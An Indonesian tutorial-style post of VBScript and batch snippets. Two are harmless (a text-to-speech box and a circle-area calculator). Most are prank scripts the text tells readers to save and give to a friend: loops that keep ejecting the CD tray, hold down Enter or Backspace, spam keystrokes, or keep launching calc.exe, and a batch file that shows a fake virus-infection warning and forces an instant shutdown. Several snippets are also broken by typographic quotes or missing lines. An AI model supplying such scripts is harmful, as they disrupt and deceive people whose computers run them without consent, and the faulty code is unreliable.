Oke, langsung aja...
Buka notepad dan copas kode berikut...
Dim msg, jasakom
msg=InputBox("Masukkan Kalimat","Ngomong Dong")
Set jasakom=CreateObject("sapi.spvoice")
jasakom.Speak msg
Nah simpan dengan nama Terserah.vbs dan jalankan...
Setelah itu masukkan atau ketik kata2 yang diinginkan...
Nyalakan speaker sekeras mungkin dan "ENTER"...
Semoga berguna...
keyBoARD dIsko
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
Simpan dengan nama Disco.vbs kemudian jalankan dan liat hasilnya...
LUaS dAN KElilinG lingkarAN
dim fname
const phi = 3.14
fname=InputBox("Enter your name:")
MsgBox("Hallo " & fname)
'Luas dan keliling Lingkaran
fJari2 = inputbox("masukan jari-jari")
if isnumeric(fjari2) then
iJari = CiNT(fjari2)
iLuas = phi * ijari * ijari
iKeliling = 2 * phi * ijari
MsgBox( "Luas Lingkaran " & iLuas & vbcrlf & _
"Keliling Lingkaran : " & iKeliling & vbcrlf)
else
msgbox("Hanya masukan nilai berupa angka")
end if
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
Iseng Dengan Membuka Calculator Terus Menerus
@ECHO off
:top
START %SystemRoot%\system32\calc.exe
GOTO top
Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda